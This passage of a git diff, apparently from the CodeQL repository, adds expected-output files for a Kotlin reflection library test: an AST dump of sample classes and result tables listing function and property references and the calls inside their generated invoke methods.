+#   72|                 -3: [TypeAccess] Rectangle
+#   75|     5: [Class,GenericType,ParameterizedType] Generic
+#-----|       -2: (Generic Parameters)
+#   75|         0: [TypeVariable] T1
+#   75|       1: [Constructor] Generic
+#   75|         5: [BlockStmt] { ... }
+#   75|           0: [SuperConstructorInvocationStmt] super(...)
+#   75|           1: [BlockStmt] { ... }
+#   76|       2: [Method] m1
+#   76|         3: [TypeAccess] String
+#-----|         4: (Parameters)
+#   76|           0: [Parameter] i
+#   76|             0: [TypeAccess] T1
+#   76|         5: [BlockStmt] { ... }
+#   76|           0: [ReturnStmt] return ...
+#   76|             0: [MethodAccess] toString(...)
+#   76|               -1: [ThisAccess] this
+#   78|       3: [Method] getP2
+#   78|         3: [TypeAccess] T1
+#   78|         5: [BlockStmt] { ... }
+#   78|           0: [ReturnStmt] return ...
+#   78|             0: [NullLiteral] null
+#   79|       4: [Method] setP2
+#   79|         3: [TypeAccess] Unit
+#-----|         4: (Parameters)
+#   79|           0: [Parameter] value
+#   79|             0: [TypeAccess] T1
+#   79|         5: [BlockStmt] { ... }
+#   79|           0: [ReturnStmt] return ...
+#   79|             0: [VarAccess] INSTANCE
+#   83|   4: [Class,GenericType,ParameterizedType] Class2
+#-----|     -2: (Generic Parameters)
+#   83|       0: [TypeVariable] T
+#   83|     3: [Constructor] Class2
+#-----|       4: (Parameters)
+#   83|         0: [Parameter] value
+#   83|           0: [TypeAccess] T
+#   83|       5: [BlockStmt] { ... }
+#   83|         0: [SuperConstructorInvocationStmt] super(...)
+#   83|         1: [BlockStmt] { ... }
+#   83|           0: [ExprStmt] <Expr>;
+#   83|             0: [KtInitializerAssignExpr] ...=...
+#   83|               0: [VarAccess] value
+#   83|     4: [Method] getValue
+#   83|       3: [TypeAccess] T
+#   83|       5: [BlockStmt] { ... }
+#   83|         0: [ReturnStmt] return ...
+#   83|           0: [VarAccess] this.value
+#   83|             -1: [ThisAccess] this
+#   83|     4: [FieldDeclaration] T value;
+#   83|       -1: [TypeAccess] T
+#   83|       0: [VarAccess] value
+#   85|     6: [Class,GenericType,ParameterizedType] Inner
+#-----|       -2: (Generic Parameters)
+#   85|         0: [TypeVariable] T1
+#   86|       1: [Constructor] Inner
+#-----|         4: (Parameters)
+#   86|           0: [Parameter] t
+#   86|             0: [TypeAccess] T1
+#   86|         5: [BlockStmt] { ... }
+#   86|           0: [SuperConstructorInvocationStmt] super(...)
+#   86|           1: [BlockStmt] { ... }
+#   89|     8: [Method] test
+#   89|       3: [TypeAccess] Unit
+#   89|       5: [BlockStmt] { ... }
+#   90|         0: [ExprStmt] <Expr>;
+#   90|           0: [MethodAccess] fn11(...)
+#   90|             -3: [TypeAccess] Inner<String>
+#   90|               0: [TypeAccess] String
+#   90|               1: [TypeAccess] T
+#   90|             -2: [TypeAccess] String
+#   90|             -1: [TypeAccess] ReflectionKt
+#   90|             0: [StringLiteral] 
+#   90|             1: [MemberRefExpr] ...::...
+#   90|               -4: [AnonymousClass] new Function1<String,Inner<String>>(...) { ... }
+#   90|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#   90|                     0: [Parameter] <dispatchReceiver>
+#   90|                   5: [BlockStmt] { ... }
+#   90|                     0: [SuperConstructorInvocationStmt] super(...)
+#   90|                     1: [ExprStmt] <Expr>;
+#   90|                       0: [AssignExpr] ...=...
+#   90|                         0: [VarAccess] this.<dispatchReceiver>
+#   90|                           -1: [ThisAccess] this
+#   90|                         1: [VarAccess] <dispatchReceiver>
+#   90|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   90|                     0: [Parameter] a0
+#   90|                   5: [BlockStmt] { ... }
+#   90|                     0: [ReturnStmt] return ...
+#   90|                       0: [ClassInstanceExpr] new Inner<String>(...)
+#   90|                         -3: [TypeAccess] Inner<String>
+#   90|                           0: [TypeAccess] String
+#   90|                         -2: [VarAccess] this.<dispatchReceiver>
+#   90|                           -1: [ThisAccess] this
+#   90|                         0: [VarAccess] a0
+#   90|                 1: [FieldDeclaration] Class2 <dispatchReceiver>;
+#   90|                   -1: [TypeAccess] Class2
+#   90|                     0: [TypeAccess] T
+#   90|               -3: [TypeAccess] Function1<String,Inner<String>>
+#   90|                 0: [TypeAccess] String
+#   90|                 1: [TypeAccess] Inner<String>
+#   90|                   0: [TypeAccess] String
+#   90|               0: [ThisAccess] this
+#  105|   6: [Class] Base1
+#  105|     1: [Constructor] Base1
+#-----|       4: (Parameters)
+#  105|         0: [Parameter] prop1
+#  105|           0: [TypeAccess] int
+#  105|       5: [BlockStmt] { ... }
+#  105|         0: [SuperConstructorInvocationStmt] super(...)
+#  105|         1: [BlockStmt] { ... }
+#  105|           0: [ExprStmt] <Expr>;
+#  105|             0: [KtInitializerAssignExpr] ...=...
+#  105|               0: [VarAccess] prop1
+#  105|     2: [Method] getProp1
+#  105|       3: [TypeAccess] int
+#  105|       5: [BlockStmt] { ... }
+#  105|         0: [ReturnStmt] return ...
+#  105|           0: [VarAccess] this.prop1
+#  105|             -1: [ThisAccess] this
+#  105|     2: [Method] setProp1
+#  105|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#  105|         0: [Parameter] <set-?>
+#  105|           0: [TypeAccess] int
+#  105|       5: [BlockStmt] { ... }
+#  105|         0: [ExprStmt] <Expr>;
+#  105|           0: [AssignExpr] ...=...
+#  105|             0: [VarAccess] this.prop1
+#  105|               -1: [ThisAccess] this
+#  105|             1: [VarAccess] <set-?>
+#  105|     2: [FieldDeclaration] int prop1;
+#  105|       -1: [TypeAccess] int
+#  105|       0: [VarAccess] prop1
+#  107|   7: [Class] Derived1
+#  107|     1: [Constructor] Derived1
+#-----|       4: (Parameters)
+#  107|         0: [Parameter] prop1
+#  107|           0: [TypeAccess] int
+#  107|       5: [BlockStmt] { ... }
+#  107|         0: [SuperConstructorInvocationStmt] super(...)
+#  107|           0: [VarAccess] prop1
+#  107|         1: [BlockStmt] { ... }
+#  108|     2: [Method] fn
+#  108|       3: [TypeAccess] Unit
+#  108|       5: [BlockStmt] { ... }
+#  109|         0: [ExprStmt] <Expr>;
+#  109|           0: [MethodAccess] println(...)
+#  109|             -1: [TypeAccess] ConsoleKt
+#  109|             0: [PropertyRefExpr] ...::...
+#  109|               -4: [AnonymousClass] new KMutableProperty0<Integer>(...) { ... }
+#  109|                 1: [Constructor] 
+#-----|                   4: (Parameters)
+#  109|                     0: [Parameter] <dispatchReceiver>
+#  109|                   5: [BlockStmt] { ... }
+#  109|                     0: [SuperConstructorInvocationStmt] super(...)
+#  109|                     1: [ExprStmt] <Expr>;
+#  109|                       0: [AssignExpr] ...=...
+#  109|                         0: [VarAccess] this.<dispatchReceiver>
+#  109|                           -1: [ThisAccess] this
+#  109|                         1: [VarAccess] <dispatchReceiver>
+#  109|                 1: [FieldDeclaration] Derived1 <dispatchReceiver>;
+#  109|                   -1: [TypeAccess] Derived1
+#  109|                 1: [Method] get
+#  109|                   5: [BlockStmt] { ... }
+#  109|                     0: [ReturnStmt] return ...
+#  109|                       0: [MethodAccess] getProp1(...)
+#  109|                         -1: [VarAccess] this.<dispatchReceiver>
+#  109|                           -1: [ThisAccess] this
+#  109|                 1: [Method] invoke
+#  109|                   5: [BlockStmt] { ... }
+#  109|                     0: [ReturnStmt] return ...
+#  109|                       0: [MethodAccess] get(...)
+#  109|                         -1: [ThisAccess] this
+#  109|                 1: [Method] set
+#-----|                   4: (Parameters)
+#  109|                     0: [Parameter] a0
+#  109|                   5: [BlockStmt] { ... }
+#  109|                     0: [ReturnStmt] return ...
+#  109|                       0: [MethodAccess] setProp1(...)
+#  109|                         -1: [VarAccess] this.<dispatchReceiver>
+#  109|                           -1: [ThisAccess] this
+#  109|                         0: [VarAccess] a0
+#  109|               -3: [TypeAccess] KMutableProperty0<Integer>
+#  109|                 0: [TypeAccess] Integer
+#  109|               0: [ThisAccess] this
+#  113|   8: [Class] LocalFn
+#  113|     1: [Constructor] LocalFn
+#  113|       5: [BlockStmt] { ... }
+#  113|         0: [SuperConstructorInvocationStmt] super(...)
+#  113|         1: [BlockStmt] { ... }
+#  114|     2: [Method] fn
+#  114|       3: [TypeAccess] Unit
+#  114|       5: [BlockStmt] { ... }
+#  115|         0: [LocalTypeDeclStmt] class ...
+#  115|           0: [LocalClass] 
+#  115|             1: [Constructor] 
+#  115|               5: [BlockStmt] { ... }
+#  115|                 0: [SuperConstructorInvocationStmt] super(...)
+#  115|             1: [Method] fn1
+#  115|               3: [TypeAccess] Unit
+#-----|               4: (Parameters)
+#  115|                 0: [Parameter] i
+#  115|                   0: [TypeAccess] int
+#  115|               5: [BlockStmt] { ... }
+#  116|         1: [LocalVariableDeclStmt] var ...;
+#  116|           1: [LocalVariableDeclExpr] x
+#  116|             0: [MemberRefExpr] ...::...
+#  116|               -4: [AnonymousClass] new Function1<Integer,Unit>(...) { ... }
+#  116|                 1: [Constructor] 
+#  116|                   5: [BlockStmt] { ... }
+#  116|                     0: [SuperConstructorInvocationStmt] super(...)
+#  116|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#  116|                     0: [Parameter] a0
+#  116|                   5: [BlockStmt] { ... }
+#  116|                     0: [ReturnStmt] return ...
+#  116|                       0: [MethodAccess] fn1(...)
+#  116|                         -1: [ClassInstanceExpr] new (...)
+#  116|                           -3: [TypeAccess] Object
+#  116|                         0: [VarAccess] a0
+#  116|               -3: [TypeAccess] Function1<Integer,Unit>
+#  116|                 0: [TypeAccess] Integer
+#  116|                 1: [TypeAccess] Unit
diff --git a/java/ql/test/kotlin/library-tests/reflection/PrintAst.qlref b/java/ql/test/kotlin/library-tests/reflection/PrintAst.qlref
new file mode 100644
index 00000000000..c7fd5faf239
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/reflection/PrintAst.qlref
@@ -0,0 +1 @@
+semmle/code/java/PrintAst.ql
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/reflection/reflection.expected b/java/ql/test/kotlin/library-tests/reflection/reflection.expected
new file mode 100644
index 00000000000..577130728ec
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/reflection/reflection.expected
@@ -0,0 +1,233 @@
+variableInitializerType
+| reflection.kt:7:9:7:54 | KFunction<Double> ref | file://<external>/KFunction.class:0:0:0:0 | KFunction<Double> | reflection.kt:7:49:7:54 | new Function2<Ccc,Integer,Double>(...) { ... } | file://<external>/Function2.class:0:0:0:0 | Function2<Ccc,Integer,Double> | true |
+| reflection.kt:7:9:7:54 | KFunction<Double> ref | file://<external>/KFunction.class:0:0:0:0 | KFunction<Double> | reflection.kt:7:49:7:54 | new Function2<Ccc,Integer,Double>(...) { ... } | file://<external>/FunctionReference.class:0:0:0:0 | FunctionReference | true |
+| reflection.kt:10:9:10:42 | KProperty1<C,Integer> x0 | file://<external>/KProperty1.class:0:0:0:0 | KProperty1<C,Integer> | reflection.kt:10:38:10:42 | new KProperty1<C,Integer>(...) { ... } | file://<external>/KProperty1.class:0:0:0:0 | KProperty1<C,Integer> | true |
+| reflection.kt:10:9:10:42 | KProperty1<C,Integer> x0 | file://<external>/KProperty1.class:0:0:0:0 | KProperty1<C,Integer> | reflection.kt:10:38:10:42 | new KProperty1<C,Integer>(...) { ... } | file://<external>/PropertyReference1.class:0:0:0:0 | PropertyReference1 | true |
+| reflection.kt:13:9:13:53 | Getter<C,Integer> x3 | file://<external>/KProperty1$Getter.class:0:0:0:0 | Getter<C,Integer> | file://<external>/KProperty1$Getter.class:0:0:0:0 | Getter<C,Integer> | file://<external>/Function1.class:0:0:0:0 | Function1<C,Integer> | true |
+| reflection.kt:13:9:13:53 | Getter<C,Integer> x3 | file://<external>/KProperty1$Getter.class:0:0:0:0 | Getter<C,Integer> | file://<external>/KProperty1$Getter.class:0:0:0:0 | Getter<C,Integer> | file://<external>/KProperty$Getter.class:0:0:0:0 | Getter<Integer> | true |
+| reflection.kt:14:9:14:44 | KFunction<Integer> x4 | file://<external>/KFunction.class:0:0:0:0 | KFunction<Integer> | reflection.kt:14:38:14:44 | new Function1<C,Integer>(...) { ... } | file://<external>/Function1.class:0:0:0:0 | Function1<C,Integer> | true |
+| reflection.kt:14:9:14:44 | KFunction<Integer> x4 | file://<external>/KFunction.class:0:0:0:0 | KFunction<Integer> | reflection.kt:14:38:14:44 | new Function1<C,Integer>(...) { ... } | file://<external>/FunctionReference.class:0:0:0:0 | FunctionReference | true |
+| reflection.kt:15:9:15:41 | KProperty0<Integer> x5 | file://<external>/KProperty0.class:0:0:0:0 | KProperty0<Integer> | reflection.kt:15:35:15:41 | new KProperty0<Integer>(...) { ... } | file://<external>/KProperty0.class:0:0:0:0 | KProperty0<Integer> | true |
+| reflection.kt:15:9:15:41 | KProperty0<Integer> x5 | file://<external>/KProperty0.class:0:0:0:0 | KProperty0<Integer> | reflection.kt:15:35:15:41 | new KProperty0<Integer>(...) { ... } | file://<external>/PropertyReference0.class:0:0:0:0 | PropertyReference0 | true |
+| reflection.kt:17:9:17:49 | KMutableProperty1<C,Integer> y0 | file://<external>/KMutableProperty1.class:0:0:0:0 | KMutableProperty1<C,Integer> | reflection.kt:17:45:17:49 | new KMutableProperty1<C,Integer>(...) { ... } | file://<external>/KMutableProperty1.class:0:0:0:0 | KMutableProperty1<C,Integer> | true |
+| reflection.kt:17:9:17:49 | KMutableProperty1<C,Integer> y0 | file://<external>/KMutableProperty1.class:0:0:0:0 | KMutableProperty1<C,Integer> | reflection.kt:17:45:17:49 | new KMutableProperty1<C,Integer>(...) { ... } | file://<external>/MutablePropertyReference1.class:0:0:0:0 | MutablePropertyReference1 | true |
+| reflection.kt:20:9:20:60 | Setter<C,Integer> y3 | file://<external>/KMutableProperty1$Setter.class:0:0:0:0 | Setter<C,Integer> | file://<external>/KMutableProperty1$Setter.class:0:0:0:0 | Setter<C,Integer> | file://<external>/Function2.class:0:0:0:0 | Function2<C,Integer,Unit> | true |
+| reflection.kt:20:9:20:60 | Setter<C,Integer> y3 | file://<external>/KMutableProperty1$Setter.class:0:0:0:0 | Setter<C,Integer> | file://<external>/KMutableProperty1$Setter.class:0:0:0:0 | Setter<C,Integer> | file://<external>/KMutableProperty$Setter.class:0:0:0:0 | Setter<Integer> | true |
+| reflection.kt:21:9:21:50 | KFunction<Unit> y4 | file://<external>/KFunction.class:0:0:0:0 | KFunction<Unit> | reflection.kt:21:44:21:50 | new Function2<C,Integer,Unit>(...) { ... } | file://<external>/Function2.class:0:0:0:0 | Function2<C,Integer,Unit> | true |
+| reflection.kt:21:9:21:50 | KFunction<Unit> y4 | file://<external>/KFunction.class:0:0:0:0 | KFunction<Unit> | reflection.kt:21:44:21:50 | new Function2<C,Integer,Unit>(...) { ... } | file://<external>/FunctionReference.class:0:0:0:0 | FunctionReference | true |
+| reflection.kt:22:9:22:48 | KMutableProperty0<Integer> y5 | file://<external>/KMutableProperty0.class:0:0:0:0 | KMutableProperty0<Integer> | reflection.kt:22:42:22:48 | new KMutableProperty0<Integer>(...) { ... } | file://<external>/KMutableProperty0.class:0:0:0:0 | KMutableProperty0<Integer> | true |
+| reflection.kt:22:9:22:48 | KMutableProperty0<Integer> y5 | file://<external>/KMutableProperty0.class:0:0:0:0 | KMutableProperty0<Integer> | reflection.kt:22:42:22:48 | new KMutableProperty0<Integer>(...) { ... } | file://<external>/MutablePropertyReference0.class:0:0:0:0 | MutablePropertyReference0 | true |
+| reflection.kt:24:9:24:91 | KProperty2<C,Integer,Integer> prop | file://<external>/KProperty2.class:0:0:0:0 | KProperty2<C,Integer,Integer> | file://<external>/KProperty2.class:0:0:0:0 | KProperty2<C,Integer,Integer> | file://<external>/Function2.class:0:0:0:0 | Function2<C,Integer,Integer> | true |
+| reflection.kt:24:9:24:91 | KProperty2<C,Integer,Integer> prop | file://<external>/KProperty2.class:0:0:0:0 | KProperty2<C,Integer,Integer> | file://<external>/KProperty2.class:0:0:0:0 | KProperty2<C,Integer,Integer> | file://<external>/KProperty.class:0:0:0:0 | KProperty<Integer> | true |
+| reflection.kt:116:9:116:44 | KFunction<Unit> x | file://<external>/KFunction.class:0:0:0:0 | KFunction<Unit> | reflection.kt:116:40:116:44 | new Function1<Integer,Unit>(...) { ... } | file://<external>/Function1.class:0:0:0:0 | Function1<Integer,Unit> | true |
+| reflection.kt:116:9:116:44 | KFunction<Unit> x | file://<external>/KFunction.class:0:0:0:0 | KFunction<Unit> | reflection.kt:116:40:116:44 | new Function1<Integer,Unit>(...) { ... } | file://<external>/FunctionReference.class:0:0:0:0 | FunctionReference | true |
+invocation
+| reflection.kt:8:21:8:24 | getName(...) | file://<external>/KCallable.class:0:0:0:0 | getName |
+| reflection.kt:11:26:11:33 | get(...) | file://<external>/KProperty1.class:0:0:0:0 | get |
+| reflection.kt:12:29:12:32 | getName(...) | file://<external>/KCallable.class:0:0:0:0 | getName |
+| reflection.kt:13:48:13:53 | getGetter(...) | file://<external>/KProperty1.class:0:0:0:0 | getGetter |
+| reflection.kt:14:38:14:44 | get(...) | file://<external>/KProperty1.class:0:0:0:0 | get |
+| reflection.kt:18:27:18:37 | set(...) | file://<external>/KMutableProperty1.class:0:0:0:0 | set |
+| reflection.kt:19:29:19:32 | getName(...) | file://<external>/KCallable.class:0:0:0:0 | getName |
+| reflection.kt:20:55:20:60 | getSetter(...) | file://<external>/KMutableProperty1.class:0:0:0:0 | getSetter |
+| reflection.kt:21:44:21:50 | set(...) | file://<external>/KMutableProperty1.class:0:0:0:0 | set |
+| reflection.kt:24:31:24:37 | getMembers(...) | file://<external>/KClass.class:0:0:0:0 | getMembers |
+| reflection.kt:24:51:24:54 | getName(...) | file://<external>/KCallable.class:0:0:0:0 | getName |
+| reflection.kt:25:23:25:33 | get(...) | file://<external>/KProperty2.class:0:0:0:0 | get |
+| reflection.kt:50:30:50:39 | get(...) | file://<external>/KProperty1.class:0:0:0:0 | get |
+| reflection.kt:51:30:51:34 | get(...) | file://<external>/KProperty0.class:0:0:0:0 | get |
+functionReferences
+| reflection.kt:7:49:7:54 | ...::... | reflection.kt:7:49:7:54 | invoke | reflection.kt:29:9:29:33 | m |
+| reflection.kt:14:38:14:44 | ...::... | reflection.kt:14:38:14:44 | invoke | file://<external>/KProperty1.class:0:0:0:0 | get |
+| reflection.kt:21:44:21:50 | ...::... | reflection.kt:21:44:21:50 | invoke | file://<external>/KMutableProperty1.class:0:0:0:0 | set |
+| reflection.kt:60:17:60:32 | ...::... | reflection.kt:60:17:60:32 | invoke | file://<external>/Class1$Generic.class:0:0:0:0 | m1 |
+| reflection.kt:61:17:61:34 | ...::... | reflection.kt:61:17:61:34 | invoke | file://<external>/Class1$Generic.class:0:0:0:0 | m1 |
+| reflection.kt:62:17:62:34 | ...::... | reflection.kt:62:17:62:34 | invoke | reflection.kt:54:1:54:52 | ext1 |
+| reflection.kt:63:17:63:36 | ...::... | reflection.kt:63:17:63:36 | invoke | reflection.kt:54:1:54:52 | ext1 |
+| reflection.kt:64:17:64:34 | ...::... | reflection.kt:64:17:64:34 | invoke | reflection.kt:56:1:56:48 | ext2 |
+| reflection.kt:65:17:65:36 | ...::... | reflection.kt:65:17:65:36 | invoke | reflection.kt:56:1:56:48 | ext2 |
+| reflection.kt:90:18:90:24 | ...::... | reflection.kt:90:18:90:24 | invoke | file://<external>/Class2$Inner.class:0:0:0:0 | Inner<String> |
+| reflection.kt:97:14:97:21 | ...::... | reflection.kt:97:14:97:21 | invoke | file://<external>/Class2.class:0:0:0:0 | Class2<String> |
+| reflection.kt:98:14:98:17 | ...::... | reflection.kt:98:14:98:17 | invoke | reflection.kt:94:1:94:24 | fn |
+| reflection.kt:99:14:99:29 | ...::... | reflection.kt:99:14:99:29 | invoke | file://<external>/Class2$Inner.class:0:0:0:0 | Inner<String> |
+| reflection.kt:116:40:116:44 | ...::... | reflection.kt:116:40:116:44 | invoke | reflection.kt:115:9:115:27 | fn1 |
+| reflection.kt:126:9:126:13 | ...::... | reflection.kt:126:9:126:13 | invoke | reflection.kt:121:1:121:13 | fn1 |
+propertyGetReferences
+| reflection.kt:10:38:10:42 | ...::... | reflection.kt:10:38:10:42 | get | reflection.kt:33:9:33:23 | getP0 |
+| reflection.kt:15:35:15:41 | ...::... | reflection.kt:15:35:15:41 | get | reflection.kt:33:9:33:23 | getP0 |
+| reflection.kt:17:45:17:49 | ...::... | reflection.kt:17:45:17:49 | get | reflection.kt:34:9:34:23 | getP1 |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | get | reflection.kt:34:9:34:23 | getP1 |
+| reflection.kt:50:13:50:28 | ...::... | reflection.kt:50:13:50:28 | get | reflection.kt:47:5:47:28 | getLastChar |
+| reflection.kt:51:13:51:28 | ...::... | reflection.kt:51:13:51:28 | get | reflection.kt:47:5:47:28 | getLastChar |
+| reflection.kt:67:17:67:32 | ...::... | reflection.kt:67:17:67:32 | get | file://<external>/Class1$Generic.class:0:0:0:0 | getP2 |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | get | file://<external>/Class1$Generic.class:0:0:0:0 | getP2 |
+| reflection.kt:70:17:70:30 | ...::... | reflection.kt:70:17:70:30 | get | file://<external>/IntCompanionObject.class:0:0:0:0 | getMAX_VALUE |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | get | reflection.kt:105:18:105:31 | getProp1 |
+propertyFieldReferences
+| reflection.kt:71:17:71:34 | ...::... | reflection.kt:71:17:71:34 | get | file:///modules/java.base/java/lang/Integer.class:0:0:0:0 | MAX_VALUE |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | get | file:///modules/java.desktop/java/awt/Rectangle.class:0:0:0:0 | height |
+propertySetReferences
+| reflection.kt:17:45:17:49 | ...::... | reflection.kt:17:45:17:49 | set | reflection.kt:34:9:34:23 | setP1 |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | set | reflection.kt:34:9:34:23 | setP1 |
+| reflection.kt:67:17:67:32 | ...::... | reflection.kt:67:17:67:32 | set | file://<external>/Class1$Generic.class:0:0:0:0 | setP2 |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | set | file://<external>/Class1$Generic.class:0:0:0:0 | setP2 |
+| reflection.kt:109:17:109:27 | ...::... | reflection.kt:109:17:109:27 | set | reflection.kt:105:18:105:31 | setProp1 |
+callsInsideInvocationMethods
+| reflection.kt:7:49:7:54 | ...::... | reflection.kt:7:49:7:54 | new Function2<Ccc,Integer,Double>(...) { ... } | reflection.kt:7:49:7:54 | invoke | reflection.kt:7:49:7:54 | m(...) | Ccc.m |
+| reflection.kt:10:38:10:42 | ...::... | reflection.kt:10:38:10:42 | new KProperty1<C,Integer>(...) { ... } | reflection.kt:10:38:10:42 | get | reflection.kt:10:38:10:42 | getP0(...) | C.getP0 |
+| reflection.kt:10:38:10:42 | ...::... | reflection.kt:10:38:10:42 | new KProperty1<C,Integer>(...) { ... } | reflection.kt:10:38:10:42 | invoke | reflection.kt:10:38:10:42 | get(...) | .get |
+| reflection.kt:14:38:14:44 | ...::... | reflection.kt:14:38:14:44 | new Function1<C,Integer>(...) { ... } | reflection.kt:14:38:14:44 | invoke | reflection.kt:14:38:14:44 | get(...) | KProperty1<C,Integer>.get |
+| reflection.kt:15:35:15:41 | ...::... | reflection.kt:15:35:15:41 | new KProperty0<Integer>(...) { ... } | reflection.kt:15:35:15:41 | get | reflection.kt:15:35:15:41 | getP0(...) | C.getP0 |
+| reflection.kt:15:35:15:41 | ...::... | reflection.kt:15:35:15:41 | new KProperty0<Integer>(...) { ... } | reflection.kt:15:35:15:41 | invoke | reflection.kt:15:35:15:41 | get(...) | .get |
+| reflection.kt:17:45:17:49 | ...::... | reflection.kt:17:45:17:49 | new KMutableProperty1<C,Integer>(...) { ... } | reflection.kt:17:45:17:49 | get | reflection.kt:17:45:17:49 | getP1(...) | C.getP1 |
+| reflection.kt:17:45:17:49 | ...::... | reflection.kt:17:45:17:49 | new KMutableProperty1<C,Integer>(...) { ... } | reflection.kt:17:45:17:49 | invoke | reflection.kt:17:45:17:49 | get(...) | .get |
+| reflection.kt:17:45:17:49 | ...::... | reflection.kt:17:45:17:49 | new KMutableProperty1<C,Integer>(...) { ... } | reflection.kt:17:45:17:49 | set | reflection.kt:17:45:17:49 | setP1(...) | C.setP1 |
+| reflection.kt:21:44:21:50 | ...::... | reflection.kt:21:44:21:50 | new Function2<C,Integer,Unit>(...) { ... } | reflection.kt:21:44:21:50 | invoke | reflection.kt:21:44:21:50 | set(...) | KMutableProperty1<C,Integer>.set |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:22:42:22:48 | get | reflection.kt:22:42:22:48 | getP1(...) | C.getP1 |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:22:42:22:48 | invoke | reflection.kt:22:42:22:48 | get(...) | .get |
+| reflection.kt:22:42:22:48 | ...::... | reflection.kt:22:42:22:48 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:22:42:22:48 | set | reflection.kt:22:42:22:48 | setP1(...) | C.setP1 |
+| reflection.kt:50:13:50:28 | ...::... | reflection.kt:50:13:50:28 | new KProperty1<String,Character>(...) { ... } | reflection.kt:50:13:50:28 | get | reflection.kt:50:13:50:28 | getLastChar(...) | ReflectionKt.getLastChar |
+| reflection.kt:50:13:50:28 | ...::... | reflection.kt:50:13:50:28 | new KProperty1<String,Character>(...) { ... } | reflection.kt:50:13:50:28 | invoke | reflection.kt:50:13:50:28 | get(...) | .get |
+| reflection.kt:51:13:51:28 | ...::... | reflection.kt:51:13:51:28 | new KProperty0<Character>(...) { ... } | reflection.kt:51:13:51:28 | get | reflection.kt:51:13:51:28 | getLastChar(...) | ReflectionKt.getLastChar |
+| reflection.kt:51:13:51:28 | ...::... | reflection.kt:51:13:51:28 | new KProperty0<Character>(...) { ... } | reflection.kt:51:13:51:28 | invoke | reflection.kt:51:13:51:28 | get(...) | .get |
+| reflection.kt:60:17:60:32 | ...::... | reflection.kt:60:17:60:32 | new Function2<Generic<Integer>,Integer,String>(...) { ... } | reflection.kt:60:17:60:32 | invoke | reflection.kt:60:17:60:32 | m1(...) | Generic<Integer>.m1 |
+| reflection.kt:61:17:61:34 | ...::... | reflection.kt:61:17:61:34 | new Function1<Integer,String>(...) { ... } | reflection.kt:61:17:61:34 | invoke | reflection.kt:61:17:61:34 | m1(...) | Generic<Integer>.m1 |
+| reflection.kt:62:17:62:34 | ...::... | reflection.kt:62:17:62:34 | new Function1<Generic<Integer>,String>(...) { ... } | reflection.kt:62:17:62:34 | invoke | reflection.kt:62:17:62:34 | ext1(...) | ReflectionKt.ext1 |
+| reflection.kt:63:17:63:36 | ...::... | reflection.kt:63:17:63:36 | new Function0<String>(...) { ... } | reflection.kt:63:17:63:36 | invoke | reflection.kt:63:17:63:36 | ext1(...) | ReflectionKt.ext1 |
+| reflection.kt:64:17:64:34 | ...::... | reflection.kt:64:17:64:34 | new Function1<Generic<Integer>,String>(...) { ... } | reflection.kt:64:17:64:34 | invoke | reflection.kt:64:17:64:34 | ext2(...) | ReflectionKt.ext2 |
+| reflection.kt:65:17:65:36 | ...::... | reflection.kt:65:17:65:36 | new Function0<String>(...) { ... } | reflection.kt:65:17:65:36 | invoke | reflection.kt:65:17:65:36 | ext2(...) | ReflectionKt.ext2 |
+| reflection.kt:67:17:67:32 | ...::... | reflection.kt:67:17:67:32 | new KMutableProperty1<Generic<Integer>,Integer>(...) { ... } | reflection.kt:67:17:67:32 | get | reflection.kt:67:17:67:32 | getP2(...) | Generic<Integer>.getP2 |
+| reflection.kt:67:17:67:32 | ...::... | reflection.kt:67:17:67:32 | new KMutableProperty1<Generic<Integer>,Integer>(...) { ... } | reflection.kt:67:17:67:32 | invoke | reflection.kt:67:17:67:32 | get(...) | .get |
+| reflection.kt:67:17:67:32 | ...::... | reflection.kt:67:17:67:32 | new KMutableProperty1<Generic<Integer>,Integer>(...) { ... } | reflection.kt:67:17:67:32 | set | reflection.kt:67:17:67:32 | setP2(...) | Generic<Integer>.setP2 |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:68:17:68:34 | get | reflection.kt:68:17:68:34 | getP2(...) | Generic<Integer>.getP2 |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:68:17:68:34 | invoke | reflection.kt:68:17:68:34 | get(...) | .get |
+| reflection.kt:68:17:68:34 | ...::... | reflection.kt:68:17:68:34 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:68:17:68:34 | set | reflection.kt:68:17:68:34 | setP2(...) | Generic<Integer>.setP2 |
+| reflection.kt:70:17:70:30 | ...::... | reflection.kt:70:17:70:30 | new KProperty0<Integer>(...) { ... } | reflection.kt:70:17:70:30 | get | reflection.kt:70:17:70:30 | getMAX_VALUE(...) | IntCompanionObject.getMAX_VALUE |
+| reflection.kt:70:17:70:30 | ...::... | reflection.kt:70:17:70:30 | new KProperty0<Integer>(...) { ... } | reflection.kt:70:17:70:30 | invoke | reflection.kt:70:17:70:30 | get(...) | .get |
+| reflection.kt:71:17:71:34 | ...::... | reflection.kt:71:17:71:34 | new KProperty0<Integer>(...) { ... } | reflection.kt:71:17:71:34 | invoke | reflection.kt:71:17:71:34 | get(...) | .get |
+| reflection.kt:72:17:72:35 | ...::... | reflection.kt:72:17:72:35 | new KMutableProperty0<Integer>(...) { ... } | reflection.kt:72:17:72:35 | invoke | reflection.kt:72:17:72:35 | get(...) | .get |
